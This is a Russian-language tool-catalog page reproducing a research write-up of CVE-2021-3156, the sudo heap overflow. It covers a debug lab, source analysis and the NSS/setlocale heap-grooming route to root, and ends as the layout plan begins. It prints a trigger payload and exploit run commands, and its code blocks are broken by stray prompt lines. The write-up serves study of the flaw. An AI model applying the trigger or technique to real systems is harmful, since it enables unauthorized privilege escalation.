Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3156 — CVE-2021-3156 POC, Docker и разбор. | Kitploit
Инструменты/GitHubGitHub/chenaotian/cve-2021-3156
Повышение привилегийАнализ уязвимостейАнализ КодаЭксплуатацияОбратная инженерияОтладчикиФаззингТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
11244 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
chenaotian/cve-2021-3156

CVE-2021-3156

CVE-2021-3156 POC, Docker и разбор.

Репозиторий

CVE-2021-3156

[toc]

Описание уязвимости

Идентификатор: CVE-2021-3156

Оценка уязвимости:

Затронутый продукт: linux sudo

Затронутые версии: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

Условия эксплуатации: linux локально; sudo установлен как suid и может быть запущен

Эффект эксплуатации: локальное повышение привилегий

Получение исходного кода: https://www.sudo.ws/getting/source/

Настройка окружения

docker окружение: chenaotian/cve-2021-3156

Я настроил docker, который предоставляет:

  1. Самостоятельно скомпилированный sudo с исходным кодом для отладки
  2. glibc с отладочными символами
  3. gdb и плагины gdb pwngdb & pwndbg
  4. exp.c и скомпилированный exp

Всё находится в /root:

image-20220124223312224

  • каталог exp содержит код exp и скомпилированные файлы, можно запускать прямо в этом docker
  • glibc-2.27 — каталог исходного кода версии libc в этом окружении
  • sudo-1.8.21 — каталог исходного кода sudo в этом окружении, именно эту версию я использовал для сборки.

Тестирование exp:``` cd exp su test ./exp whoami

root@kitploit:~
Содержание, связанное с отладкой, см. далее [一些调试命令](#一些调试命令)


## Принцип уязвимости

Payload для срабатывания уязвимости```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

Анализ исходного кода (sudo-1.8.21): Прежде всего, функция main в sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

root@kitploit:~
··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

}

root@kitploit:~
- 首先调用parse_args 函数处理我们输入的参数,其实这里我们就输入了一个`-s` 而已,没什么可设置的,将sudo_mode 设置成 MODE_EDIT 和 MODE_SHELL。

- 然后根据sudo_mode 不同,MODE_EDIT 回调用policy_check

接下来是在sudo.c 中的policy_check函数(sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

Вызывается функция обратного вызова plugin->u.policy->check_policy, можно отладить и посмотреть реальную функцию этой функции:

image-20220123113326096

Вызывается функция sudoers_policy_check из policy.c (policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

root@kitploit:~
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

}

root@kitploit:~
Затем была вызвана функция sudoers_policy_main в sudoers.c (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

Здесь устанавливаются некоторые глобальные переменные, NewArgc и NewArgv, как показано ниже, по сути это переданные параметры.

image-20220123113819116

Затем выполняется переход к функции set_cmnd в sudoers.c (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···

root@kitploit:~
/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size, 后续malloc 申请,没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

}

root@kitploit:~
Переполнение также происходит здесь, как видно из комментариев в коде: переполнение кучи происходит при копировании в кучу. Исходный код, по замыслу, копирует все аргументы из `NewArgv` в кучу, разделяя пробелами, а при встрече `\+символ не пробел` копирует только этот символ.

**Однако он не предусматривает случай, когда элемент `NewArgv` заканчивается на `\`, то есть структуру `\+\x00`. А `\x00` не относится к пробельным символам (странно). Это означает, что после копирования `\x00` в кучу переменная `from` увеличивается ещё раз (дважды за один цикл) и пропускает шанс проверки окончания по `\x00`, считая, что копирование аргументов не завершено, и продолжает копирование до следующего `\x00`.**

В данном сценарии видно, что `\+\x00` непосредственно следует за следующим аргументом `A*80`, поэтому копирование продолжится до конца `A*80`. Но не забывайте, что затем будет обработан и настоящий аргумент `A*80`, и он будет скопирован снова. Таким образом, `A*80` копируется дважды, хотя размер выделенного чанка рассчитывался только под одну строку `A*80`, что значительно превышает выделенный размер.

image-20220123113907744

После этого происходит переполнение. До копирования:

image-20220123114036691

После копирования:

image-20220123114137794

Общий путь срабатывания уязвимости (при отладке можно ставить точки останова непосредственно на эти функции):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## Принцип эксплуатации уязвимости

Опираясь на [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **однако его метод компоновки кучи маловероятен; здесь подробно анализируется метод компоновки кучи**. Через передачу переменных окружения `LC_*` выполняется компоновка кучи таким образом, чтобы переполняемый чанк накрыл структуру `service_user`, используемую функцией `nss_load_library` для загрузки so. В этой структуре перезаписывается строка имени so, чтобы программа загрузила заданный нами so и выполнила произвольный код.

Хотя логика кажется ясной, детали, которые нужно проработать, довольно сложны:

1. Соответствующие структуры данных и механизмы в `nss_load_library`
2. Как `setlocale` с помощью переменных окружения `LC_*` выполняет компоновку кучи

Далее будем называть переполняемый чанк, в котором происходит уязвимость, **vuln chunk**, а цель переполнения — **target chunk**.

### Принцип nss

Сначала посмотрим на ключевой код эксплуатации:

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

ni — это структура service_user в куче. Когда ni->library->lib_handle равен NULL, вызывается __libc_dlopen для загрузки so. Если мы можем переполнить блок кучи, в котором находится ni, то достаточно установить library в 0, потому что в первой ветке, если library равен NULL, это означает отсутствие инициализации, и будет вызвана nss_new_service для инициализации library, и только что инициализированный handle обязательно будет NULL.

Хорошо, после того, как мы узнали ключевую точку срабатывания эксплуатации уязвимости, давайте разберёмся с механизмом nss.

Сначала в каталоге /etc есть файл /etc/nsswitch.conf (обычно он выглядит так, но не на всех устройствах одинаково):```

/etc/nsswitch.conf

Example configuration of GNU Name Service Switch functionality.

If you have the glibc-doc-reference' and info' packages installed, try:

`info libc "Name Service Switch"' for information about this file.

passwd: compat systemd group: compat systemd shadow: compat gshadow: files

hosts: files dns networks: files

protocols: db files services: db files ethers: db files rpc: db files

netgroup: nis

root@kitploit:~
Это конфигурационный файл, который определяет способы и порядок поиска методов через указанные здесь пути (по сути, какие `.so`-файлы использовать). Также можно задать действия системы при успешном или неудачном выполнении определённого метода.

Я понимаю это так: задаётся, откуда программа должна получать необходимую информацию, например, данные о пользователе, сети, адресе и т.д. В коде это проявляется в том, что соответствующая функция вызывается из другого `.so`-файла. Реализация этой функции в разных `.so`-файлах и есть способ получения этой информации.

Далее рассмотрим три структуры:```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

Существует глобальная точка входа static name_database *service_table; затем в функции __nss_database_lookup, если глобальная точка входа service_table пуста, вызывается nss_parse_file для инициализации. Соответствующий код:

glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }

root@kitploit:~
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

Принцип: при первом поиске глобальная точка входа service_table пуста, затем выполняется инициализация на основе содержимого файла /etc/nsswitch.conf. Итоговая структура данных показана ниже:

image-20220123134155631

Все эти структуры данных выделяются в одной функции последовательно, в порядке, указанном на моем рисунке. Поэтому в обычном состоянии эти chunk'и расположены подряд. И их выделение происходит до vuln chunk. (Точка останова отладки nss_parrse_file)

Кроме того, стоит отметить, что в функции nss_parse_file есть функция __getline. Эта функция выделяет chunk в зависимости от длины прочитанного содержимого, и этот chunk освобождается при возврате из функции nss_parse_file. Поскольку самая длинная строка в /etc/nsswitch.conf - это комментарий, и мы не можем контролировать этот файл, можно считать, что длина chunk'а, выделяемого в __getline, всегда одинакова - фиксированный размер 0x80.

Таким образом, можно понимать это так: это очень ценный chunk, который выделяется перед списком service, освобождается сразу после завершения выделения структуры списка service и остается свободным до выделения vuln chunk. Запомните эту деталь на данный момент (я тестировал на многих окружениях, в большинстве из них эта деталь применима).

Итак, когда же вызывается функция nss_load_library? Посмотрим стек вызовов при отладке:

image-20220123114256387

Согласно стеку вызовов, когда требуется вызвать функции поиска информации о хосте или пользователе, вызываются некоторые поисковые функции для поиска соответствующей функции в соответствующем .so файле. По сути, это структура данных service_table, сгенерированная из /etc/nsswitch.conf. Код:

glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;

*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)

root@kitploit:~
Сначала вызывается `__nss_database_lookup` для поиска соответствующей службы на основе переданного `DATABASE_NAME_STRING` (содержащего passwd, group, shadow и т.д.): то есть извлекается красная область на изображении ниже для поиска совпадения и возвращается указатель на службу. Если это первый поиск и все входные данные пусты, то происходит инициализация (упоминалось ранее).

image-20220123133933696

Затем вызывается `__nss_lookup`, который циклически вызывает `__nss_lookup_function` для поиска соответствующей функции в цепочке служб на основе указателя службы, после чего вызывается `nss_load_library`, получается дескриптор so, и затем ищется соответствующая функция. Код:

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···

found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略

else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;

root@kitploit:~
  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

return result; } libc_hidden_def (__nss_lookup_function)

root@kitploit:~
Видно, что при вызове функций из libnss_xxx.so обязательно вызывается `nss_load_library`, даже если этот .so уже был загружен. Итак, следуя логике известного эксплойта, **нужно лишь знать, к какому .so относится первая вызванная функция libnss после возникновения heap overflow, и с помощью heap-лайаута разместить структуру `service_user`, относящуюся к этому .so, сразу за уязвимым chunk-ом. Однако, как показали мои тесты в нескольких окружениях, даже в одной и той же версии структура кода в собранной вручную версии и в дистрибутиве отличается**, поэтому здесь я использую свою отладочную среду для повторного анализа и написания эксплойта.

### Возвращение в отладочную среду

Эта отладочная среда (docker), которую я собрал сам, использует самостоятельно скомпилированный sudo с отладочными символами. Подробная информация:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

/etc/nsswitch.conf содержит следующее:

image-20220115142452318

Он все еще сильно отличается от обычного, поэтому прямой запуск чужого exp, скорее всего, не пройдет. Более того, после отладки в моей среде после переполнения кучи первой вызванной nss-функцией является setspent, функция, принадлежащая shadow, то есть service_user из database_entrry3, целевой chunk — chunk номер 7. Мы хотим, чтобы уязвимый chunk находился перед chunk 7, и чтобы другие нумерованные chunk не оказались между ними (то есть при переполнении не повреждать другие chunk структуры service_table).

image-20220123134335546

Далее неизбежно нам нужно изучить, как за один раз спланировать кучу для повышения привилегий. Известно, что планировка кучи выполняется с помощью переменной окружения LC_ALL в функции setlocale. После анализа в setlocale имеется очень много операций выделения и освобождения кучи, поэтому здесь мы сосредоточимся на тех частях, которыми мы можем управлять.

Использование setlocale для планировки кучи

Случайно на внутреннем блоге компании нашел аналитический блог коллеги, который очень помог, но извне к нему доступа нет, поэтому не привожу ссылку.

Механизм кучи в setlocale сводится к одной фразе: просто вводите переменные окружения той длины, в каком порядке вы хотите освобождать chunk, это гарантирует порядок освобождения и связи, но эти chunk не будут плотно прилегать друг к другу.

Посмотрим исходный код setlocale:

glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;

··· ···

locale_path = NULL; locale_path_len = 0;

··· ···

if (category == LC_ALL) { ··· ··· ··· ··· /* Load the new data for each category. */
while (category-- > 0) if (category != LC_ALL) {//关键处理函数 _nl_find_locale newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);

root@kitploit:~
    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

} libc_hidden_def (setlocale)

root@kitploit:~
`setlocale` функция связана с некоторыми беспорядочными настройками локали. Соответствующие параметры переменных окружения включают следующие:```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

В зависимости от значения переданного параметра category, ищется соответствующий параметр в переменных окружения для выполнения действия. В sudo используется setlocale(LC_ALL,""); Когда переданный параметр — LC_ALL, начинается обход всех переменных, начиная с LC_IDENTIFICATION. Для каждой переменной вызывается функция _nl_find_locale, которая довольно сложна, но возвращаемое значение newnames[category] представляет собой значение соответствующей переменной окружения. Затем вызывается функция strdup, которая копирует эту строку в кучу. Поскольку передан LC_ALL, будет сгенерирован соответствующий массив строк, который затем проверяется на соответствие значениям по умолчанию глобальных переменных. Если проверка не пройдена, массив освобождается (легко создать входные данные, приводящие к ошибке).

Иными словами, мы можем выполнить здесь x выделений памяти в куче через strdup и x освобождений только что выделенных блоков (chunk). Выглядит просто, но это не так, потому что в функции _nl_find_locale до этого выполняется множество операций выделения и освобождения памяти в куче. Большинство блоков, выделяемых через strdup, затем освобождаются в _nl_find_locale. Хотя для эксплуатации уязвимости в куче дальнейший анализ уже не так важен, но если требуется точно спланировать расположение кучи или среда изменилась и стала более строгой, всё же необходимо проанализировать _nl_find_locale:

glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;

if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···

/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */

mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;

/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);

if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }

··· ···

if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];

root@kitploit:~
  if (locale_file == NULL)
return NULL;
}

··· ··· ··· ···

return (struct __locale_data *) locale_file->data; }

root@kitploit:~
В функции `_nl_find_locale` сначала вызывается функция `_nl_explode_name`, которая присваивает значения маске на основе значения переменной окружения (как я упоминал в комментариях к коду). Главным образом проверяется наличие страны, языка и пользовательского суффикса — эти три элемента. Если они присутствуют, устанавливаются соответствующие маски, причём для языка устанавливаются две маски, всего четыре. Затем вызов функции `_nl_make_l0nflist` напрямую приводит к тому, что `_nl_find_locale` возвращает NULL, вызывая прерывание цикла в `setlocale` (это важно).

Далее рассмотрим функцию `_nl_make_l0nflist`:

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名,也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件,则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
  //每次mask 值会-1,这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

Двумя ключевыми передаваемыми параметрами являются do_allocate и mask. do_allocate указывает, будет ли активно выделяться новая память. Если значение равно 0, поиск выполняется непосредственно в существующем связном списке; обычно существующий список пуст, и функция сразу возвращается. Если do_allocate не равен 0, список расширяется.

При одном вызове функции _nl_make_l10nflist выделяется 1–2 блока (chunk), размер каждого из которых не фиксирован. Первый блок выделяется в соответствии с длиной имени файла, составленного из комбинации mask. Если имя файла не повторяется, выделяется второй блок — структура переменной длины для управления именем файла. Конкретная цель у этой структуры невелика, и она нам неподконтрольна, поэтому здесь мы её игнорируем.

mask имеет четыре бита. Эти четыре флага определяют имя файла для данной операции. Четыре флага обозначают наличие содержимого в квадратных скобках:``` dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename

root@kitploit:~
где dir(/usr/lib/locale), language(C), filename(имя переменной окружения) фиксированы, содержимое в квадратных скобках может генерироваться по желанию в зависимости от значения mask. Например:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

Итак:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀

root@kitploit:~
В зависимости от разных масок может быть сгенерировано:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

Поскольку введённый нами контент изначально не содержит информации о стране, то есть поле [_territory] изначально пустое, то независимо от того, равен ли этот mask 1, это поле не будет присутствовать. Это приводит к тому, что разные маски формируют одинаковые имена файлов, что объясняет, почему выше было заложено действие: при встрече одинакового имени файла — освободить и вернуть.

С анализом принципа работы всех кучевских выделений памяти на этом можно закончить. В зависимости от реальной ситуации можно понять и спланировать конкретное размещение. В моей отладочной среде ключевым является лишь то, что согласно значению введённой переменной окружения выполняется операция strdup, а затем несколько кусков (chunk), созданных strdup, освобождаются одним махом. Это действие и есть ключевой момент. Если среда более сложная, возможно придётся использовать операции управления размером и количеством освобождаемых кучей в зависимости от маски.

Практика эксплуатации уязвимости

Возвращаясь к моей отладочной среде:

image-20220123134419470

Я хочу разместить vuln chunk перед target chunk, то есть перед chunk №7, не разрушая при этом ни один из кусков 1,2,3,4,5,6

Тогда идея компоновки кучи выглядит так:

